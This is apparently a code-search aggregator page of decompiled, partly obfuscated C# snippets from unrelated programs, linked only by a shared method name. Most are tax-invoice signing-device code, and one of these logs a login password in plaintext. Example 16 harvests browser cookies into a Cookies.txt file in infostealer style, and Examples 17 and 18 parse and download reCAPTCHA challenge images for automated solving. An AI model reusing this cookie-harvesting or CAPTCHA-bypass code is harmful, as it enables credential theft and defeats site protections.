Exemplo n.º 1
0
        public int SignData(IntPtr intptr_0, string string_0, string string_1, out string string_2)
        {
            string_2 = "";
            if (intptr_0 == IntPtr.Zero)
            {
                return(0x25);
            }
            int num = Crypt_Login(intptr_0, string_1);

            if (num != 0)
            {
                Class20.smethod_2(string.Format("签名时登录密码:{0}", string_1));
                return(num);
            }
            byte[]    bytes     = Encoding.GetEncoding("GBK").GetBytes(string_0);
            byte[]    buffer    = new byte[0x400];
            uint      num2      = 0x400;
            DATE_TIME date_time = new DATE_TIME();
            int       num3      = Crypt_SignData(intptr_0, bytes, (uint)bytes.Length, 6, ref date_time, 0, buffer, ref num2);

            if (num3 != 0)
            {
                Class20.smethod_1("=============================SignData:返回值=============================" + num3);
                return(num3);
            }
            string_2 = Convert.ToBase64String(buffer, 0, (int)num2);
            return(num3);
        }
Exemplo n.º 2
0
 public static void MsgWait(string string_0)
 {
     try
     {
         Class20.smethod_3(string_0);
         if (msgForm_0 != null)
         {
             if ((thread_0 != null) && (thread_0.ThreadState != ThreadState.Stopped))
             {
                 if ((thread_0.ThreadState == ThreadState.Running) && msgForm_0.InvokeRequired)
                 {
                     msgForm_0.Invoke(new Delegate4(MessageShow.smethod_1), new object[] { string_0 });
                 }
             }
             else
             {
                 thread_0 = new Thread(new ParameterizedThreadStart(MessageShow.smethod_2));
                 thread_0.Start(string_0);
             }
         }
     }
     catch (Exception exception)
     {
         Class20.smethod_1(exception.ToString());
     }
 }
Exemplo n.º 3
0
 public static void MsgWait(string string_0)
 {
     try
     {
         Class20.smethod_3(string_0);
         if (msgForm_0 != null)
         {
             if (thread_0.ThreadState != ThreadState.Running)
             {
                 msgForm_0.MessageStr = string_0;
                 msgForm_0.ShowDialog();
                 if (msgForm_0.InvokeRequired)
                 {
                     msgForm_0.Invoke(new Delegate5(MessageShowTT.smethod_0), new object[] { string_0 });
                 }
             }
             else if ((thread_0.ThreadState == ThreadState.Running) && msgForm_0.InvokeRequired)
             {
                 msgForm_0.Invoke(new Delegate5(MessageShowTT.smethod_0), new object[] { string_0 });
             }
         }
     }
     catch (Exception exception)
     {
         Class20.smethod_1(exception.ToString());
     }
 }
Exemplo n.º 4
0
        public int OpenDevice(ref IntPtr intptr_0, string string_0, string string_1, string string_2)
        {
            int    num           = -1;
            string str           = string.Empty;
            string invSignServer = CommonTool.GetInvSignServer();

            if (!string.IsNullOrWhiteSpace(invSignServer))
            {
                foreach (string str3 in invSignServer.Split(new char[] { ';' }))
                {
                    string[] strArray3 = str3.Split(new char[] { '=' });
                    if (strArray3[0].Trim() == string_1)
                    {
                        str = strArray3[1];
                        break;
                    }
                }
            }
            if (string.Empty.Equals(str))
            {
                str = "slot1";
            }
            num = Crypt_OpenDevice(ref intptr_0, str, string_2, 0x604, 0);
            Class20.smethod_1(string.Format("打开设备,返回值:{0},句柄:{1}", num, (IntPtr)intptr_0));
            if (num == 0)
            {
                num = Crypt_Login(intptr_0, string_0);
            }
            return(num);
        }
Exemplo n.º 5
0
    // Token: 0x060000FC RID: 252 RVA: 0x00006E4C File Offset: 0x0000504C
    public static void smethod_0(GStruct2 gstruct2_0)
    {
        switch (gstruct2_0.byte_1)
        {
        case 1:
            Class20.smethod_1();
            break;

        case 2:
            Class20.smethod_3(gstruct2_0.object_0);
            break;

        case 4:
            Class20.smethod_2(gstruct2_0.guid_0, gstruct2_0.object_0);
            break;

        case 6:
            Class20.smethod_4();
            break;

        case 7:
            Class20.smethod_5(gstruct2_0.object_0);
            break;
        }
    }
Exemplo n.º 6
0
 // Token: 0x060006C8 RID: 1736 RVA: 0x00039058 File Offset: 0x00037258
 private static long smethod_11(string string_0)
 {
     object[] object_ = new object[]
     {
         string_0
     };
     return((long)Class20.smethod_0().method_179(Class20.smethod_1(), "ARoEY@:3Sd", object_));
 }
Exemplo n.º 7
0
 // Token: 0x060006C7 RID: 1735 RVA: 0x00039020 File Offset: 0x00037220
 private static void smethod_10(long long_0, byte[] byte_0)
 {
     object[] object_ = new object[]
     {
         long_0,
         byte_0
     };
     Class20.smethod_0().method_93(Class20.smethod_1(), "ARoFt@:3S`", object_);
 }
Exemplo n.º 8
0
 // Token: 0x06000073 RID: 115 RVA: 0x000086D0 File Offset: 0x000068D0
 public static Task <GEnum2> smethod_6(string string_1, bool bool_0)
 {
     object[] object_ = new object[]
     {
         string_1,
         bool_0
     };
     return((Task <GEnum2>)Class20.smethod_0().method_179(Class20.smethod_1(), "ARoG\\@:3Sg", object_));
 }
Exemplo n.º 9
0
        public int GetCertInfo(IntPtr intptr_0, CertInfo certInfo_0)
        {
            Class20.smethod_1("=========================读取证书信息开始==========================");
            int num = 0;

            certInfo_0.Nsrsbh = string.Empty;
            certInfo_0.Qsrq   = string.Empty;
            certInfo_0.Jzrq   = string.Empty;
            if (intptr_0 == IntPtr.Zero)
            {
                Class20.smethod_1("=========================句柄为空==========================");
                return(0x25);
            }
            byte[] buffer2 = new byte[0x2800];
            uint   num4    = 0x2800;

            num = Crypt_ReadCert(intptr_0, 2, buffer2, ref num4);
            if (num != 0)
            {
                Class20.smethod_1(string.Format("调用证书接口读取证书{0}", num));
                return(num);
            }
            uint num2 = 0;
            uint num3 = 50;

            byte[] buffer = new byte[50];
            num = GetCertInfo(num4, buffer2, 0x47, ref num2, ref num3, buffer);
            if (num != 0)
            {
                Class20.smethod_1(string.Format("获取证书中的税号 {0}", num));
                return(num);
            }
            certInfo_0.Nsrsbh = Encoding.GetEncoding("GBK").GetString(buffer, 0, (int)num3);
            uint num5 = 50;

            byte[] buffer3 = new byte[50];
            num = GetCertInfo(num4, buffer2, 0x15, ref num2, ref num5, buffer3);
            if (num != 0)
            {
                Class20.smethod_1(string.Format("获取证书证书起始时间 {0}", num));
                return(num);
            }
            certInfo_0.Qsrq = Encoding.GetEncoding("GBK").GetString(buffer3, 0, (int)num5);
            uint num6 = 50;

            byte[] buffer4 = new byte[50];
            num = GetCertInfo(num4, buffer2, 0x16, ref num2, ref num6, buffer4);
            if (num != 0)
            {
                Class20.smethod_1(string.Format("获取证书证书无效时间 {0}", num));
                return(num);
            }
            certInfo_0.Jzrq = Encoding.GetEncoding("GBK").GetString(buffer4, 0, (int)num6);
            Class20.smethod_1("=========================读取证书信息结束==========================");
            return(num);
        }
Exemplo n.º 10
0
        public static string GetCertProvider()
        {
            string path = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "CertProviderCfg.txt");

            Class20.smethod_1("CertProviderCfg.txt文件路径:" + path);
            if (File.Exists(path))
            {
                return(File.ReadAllText(path));
            }
            return("");
        }
Exemplo n.º 11
0
        public static string GetInvSignServer()
        {
            string path = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "InvSignServer.txt");

            Class20.smethod_1("InvSignServer.txt文件路径:" + path);
            if (File.Exists(path))
            {
                return(File.ReadAllText(path));
            }
            return("Card");
        }
Exemplo n.º 12
0
 // Token: 0x060006C6 RID: 1734 RVA: 0x00038FD8 File Offset: 0x000371D8
 private static void smethod_9(long long_0, byte[] byte_0, int int_0, int int_1)
 {
     object[] object_ = new object[]
     {
         long_0,
         byte_0,
         int_0,
         int_1
     };
     Class20.smethod_0().method_93(Class20.smethod_1(), "ARoE[@:3S\\", object_);
 }
Exemplo n.º 13
0
        public int OpenDevice(ref IntPtr intptr_0, string string_0, string string_1, string string_2)
        {
            int num = -1;

            num = Crypt_OpenDevice(ref intptr_0, string_1, string_2, 1, 0);
            Class20.smethod_1(string.Format("打开设备,返回值:{0},句柄:{1}", num, (IntPtr)intptr_0));
            if (num == 0)
            {
                num = Crypt_Login(intptr_0, string_0);
            }
            return(num);
        }
Exemplo n.º 14
0
 public static void MsgWait()
 {
     try
     {
         if (((msgForm_0 != null) && (thread_0 != null)) && ((thread_0.ThreadState == ThreadState.Running) && msgForm_0.InvokeRequired))
         {
             msgForm_0.Invoke(new Delegate5(MessageShowTT.smethod_1), new object[] { "" });
         }
     }
     catch (Exception exception)
     {
         Class20.smethod_1(exception.ToString());
     }
 }
Exemplo n.º 15
0
        public int VerifySignedData(IntPtr intptr_0, string string_0, string string_1)
        {
            if (intptr_0 == IntPtr.Zero)
            {
                return(0x25);
            }
            byte[] buffer = Convert.FromBase64String(string_1);
            byte[] bytes  = Encoding.GetEncoding("GBK").GetBytes(string_0);
            Class20.smethod_1("VerifySignedData验证前");
            int num = Crypt_VerifySignedData(intptr_0, buffer, (uint)buffer.Length, 0, bytes, (uint)bytes.Length, null, 0);

            Class20.smethod_1("VerifySignedData验证后,方法结束" + num);
            return(num);
        }
Exemplo n.º 16
0
    // Token: 0x060001CB RID: 459 RVA: 0x0000E964 File Offset: 0x0000CB64
    public static void smethod_0()
    {
        string         text = "";
        List <Class21> list = Class20.smethod_1();

        foreach (Class21 @class in list)
        {
            text += @class.ToString();
        }
        if (text != "")
        {
            if (!Directory.Exists(Dirs.WorkDir + "\\Browsers"))
            {
                Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers");
            }
            File.WriteAllText(Dirs.WorkDir + "\\Cookies.txt", text, Encoding.Default);
        }
    }
Exemplo n.º 17
0
 // Token: 0x060000FB RID: 251 RVA: 0x0000E29C File Offset: 0x0000C49C
 public static void smethod_2(string string_0)
 {
     try
     {
         HtmlDocument htmlDocument = new HtmlDocument();
         htmlDocument.LoadHtml(string_0);
         string innerText = htmlDocument.DocumentNode.SelectSingleNode(Class185.smethod_0(537704168)).InnerText;
         GClass3.smethod_0(Class185.smethod_0(537704167) + innerText, Class185.smethod_0(537704074));
         string text = htmlDocument.DocumentNode.SelectSingleNode(Class185.smethod_0(537703950)).Attributes[Class185.smethod_0(537703994)].Value.Replace(Class185.smethod_0(537703988), string.Empty);
         GClass3.smethod_0(Class185.smethod_0(537703983) + text, Class185.smethod_0(537704074));
         int count = htmlDocument.DocumentNode.SelectNodes(Class185.smethod_0(537704023)).Count;
         GClass3.smethod_0(string.Format(Class185.smethod_0(537704032), count), Class185.smethod_0(537704074));
         int num = htmlDocument.DocumentNode.SelectNodes(Class185.smethod_0(537703950)).Select(new Func <HtmlNode, string>(Class20.Class21.class21_0.method_0)).Distinct <string>().Count <string>();
         GClass3.smethod_0(string.Format(Class185.smethod_0(537703818), num), Class185.smethod_0(537704074));
         int num2 = htmlDocument.DocumentNode.SelectNodes(Class185.smethod_0(537703950)).Select(new Func <HtmlNode, string>(Class20.Class21.class21_0.method_1)).Distinct <string>().Count <string>();
         GClass3.smethod_0(string.Format(Class185.smethod_0(537703858), num2), Class185.smethod_0(537704074));
         WebClient webClient = new WebClient();
         byte[]    buffer;
         try
         {
             buffer = webClient.DownloadData(text);
         }
         finally
         {
             ((IDisposable)webClient).Dispose();
         }
         MemoryStream memoryStream = new MemoryStream(buffer);
         try
         {
             Class20.smethod_1(new Bitmap(memoryStream), num, num2, innerText);
         }
         finally
         {
             ((IDisposable)memoryStream).Dispose();
         }
     }
     catch
     {
         GClass3.smethod_0(Class185.smethod_0(537703901), Class185.smethod_0(537704074));
     }
 }
Exemplo n.º 18
0
 // Token: 0x060000FB RID: 251 RVA: 0x0000D260 File Offset: 0x0000B460
 public static void smethod_2(string string_0)
 {
     try
     {
         HtmlDocument htmlDocument = new HtmlDocument();
         htmlDocument.LoadHtml(string_0);
         string innerText = htmlDocument.DocumentNode.SelectSingleNode("//strong").InnerText;
         GClass3.smethod_0("Found question: " + innerText, "OCR");
         string text = htmlDocument.DocumentNode.SelectSingleNode("//img").Attributes["src"].Value.Replace("amp;", string.Empty);
         GClass3.smethod_0("Found image URL: " + text, "OCR");
         int count = htmlDocument.DocumentNode.SelectNodes("//td[@class='rc-imageselect-tile']").Count;
         GClass3.smethod_0(string.Format("{0} images detected", count), "OCR");
         int num = htmlDocument.DocumentNode.SelectNodes("//img").Select(new Func <HtmlNode, string>(Class20.Class21.class21_0.method_0)).Distinct <string>().Count <string>();
         GClass3.smethod_0(string.Format("{0} rows detected", num), "OCR");
         int num2 = htmlDocument.DocumentNode.SelectNodes("//img").Select(new Func <HtmlNode, string>(Class20.Class21.class21_0.method_1)).Distinct <string>().Count <string>();
         GClass3.smethod_0(string.Format("{0} columns detected", num2), "OCR");
         WebClient webClient = new WebClient();
         byte[]    buffer;
         try
         {
             buffer = webClient.DownloadData(text);
         }
         finally
         {
             ((IDisposable)webClient).Dispose();
         }
         MemoryStream memoryStream = new MemoryStream(buffer);
         try
         {
             Class20.smethod_1(new Bitmap(memoryStream), num, num2, innerText);
         }
         finally
         {
             ((IDisposable)memoryStream).Dispose();
         }
     }
     catch
     {
         GClass3.smethod_0("Error extracting OCR info", "OCR");
     }
 }
Exemplo n.º 19
0
 // Token: 0x060006BD RID: 1725 RVA: 0x00005D95 File Offset: 0x00003F95
 private static Stream smethod_0()
 {
     return((Stream)Class20.smethod_0().method_179(Class20.smethod_1(), "ARoF5@:3SR", null));
 }
Exemplo n.º 20
0
 // Token: 0x060006C0 RID: 1728 RVA: 0x00005DEE File Offset: 0x00003FEE
 private static byte[] smethod_3()
 {
     return((byte[])Class20.smethod_0().method_179(Class20.smethod_1(), "ARoH&@:3SW", null));
 }
Exemplo n.º 21
0
 // Token: 0x060006BE RID: 1726 RVA: 0x00005DB1 File Offset: 0x00003FB1
 private static int smethod_1()
 {
     return((int)Class20.smethod_0().method_179(Class20.smethod_1(), "ARoFq@:3SW", null));
 }
Exemplo n.º 22
0
 // Token: 0x060006C5 RID: 1733 RVA: 0x00005E2B File Offset: 0x0000402B
 private static Class152 smethod_8()
 {
     return((Class152)Class20.smethod_0().method_179(Class20.smethod_1(), "ARoHR@:3SU", null));
 }